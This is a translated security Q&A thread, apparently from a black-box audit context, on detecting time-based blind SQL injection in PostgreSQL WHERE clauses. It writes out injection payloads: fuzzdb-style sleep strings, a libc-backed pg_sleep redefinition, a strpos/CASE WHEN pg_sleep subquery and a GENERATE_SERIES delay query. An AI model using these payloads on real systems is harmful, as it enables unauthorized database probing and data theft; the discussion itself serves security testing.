是否可以在 WHERE 子句中使用 pg_sleep() 测试 Postgres BlindSQL 注入?

信息安全 应用安全 Web应用程序 sql注入
2021-08-28 08:57:37

在 mysql 中,当 WHERE 子句易受攻击时,我熟悉使用以下有效负载来测试blindsql(来自 fuzzdb 的所有有效负载示例):
1 or sleep(TIME)#
" or sleep(TIME)#
' or sleep(TIME)#

在 postgres 中,我的第一反应是尝试以下方法:
1 or pg_sleep(TIME)--
" or pg_sleep(TIME)--
' or pg_sleep(TIME)--

不幸的是,postgres 有效负载不起作用,因为 pg_sleep() 返回 VOID,因此在布尔表达式中是不允许的。

我尝试了以下解决方法:

  1. 将 pg_sleep() 转换为其他数据类型(不允许 void -> bool 类型转换)
  2. 我考虑过尝试创建自己的 pg_sleep() 函数,但这在我审核的黑盒环境中不起作用..
    例如:CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

有任何想法吗?

我曾尝试在文档中查找可用于代替不返回 void 的 pg_sleep() 的其他函数,但我没有任何运气。

2个回答

首先,尝试简单的方法这真的是只允许完全盲注的情况吗?对于 WHERE 部分中的 SQL 注入漏洞,更常见的情况是应用程序会根据是否至少获得一行或根本没有获得不同的反应。并且注入很可能会强制一个空的结果集通过AND 1=0或一个非空的结果集通过OR 1=1

如果这种方法由于数据未用于任何可见的东西而失败,或者您无法强制使用空/非空集,那么就该寻找盲注技术了。

要将 SELECT 子句包含到 WHERE 部分中,您可以使用子选择或类似 strpos 的函数:

strpos(
    (SELECT CASE WHEN 1=1 
            THEN pg_sleep(10)
            ELSE pg_sleep(0) END
    )::text, '1'
) > 0;

有一篇关于Advanced PostgreSQL SQL Injection and Filter Bypass Techniques的有趣论文。

还有:

SELECT COUNT(*) FROM GENERATE_SERIES(1,5000000)

手册页:http ://www.postgresql.org/docs/8.1/static/functions-srf.html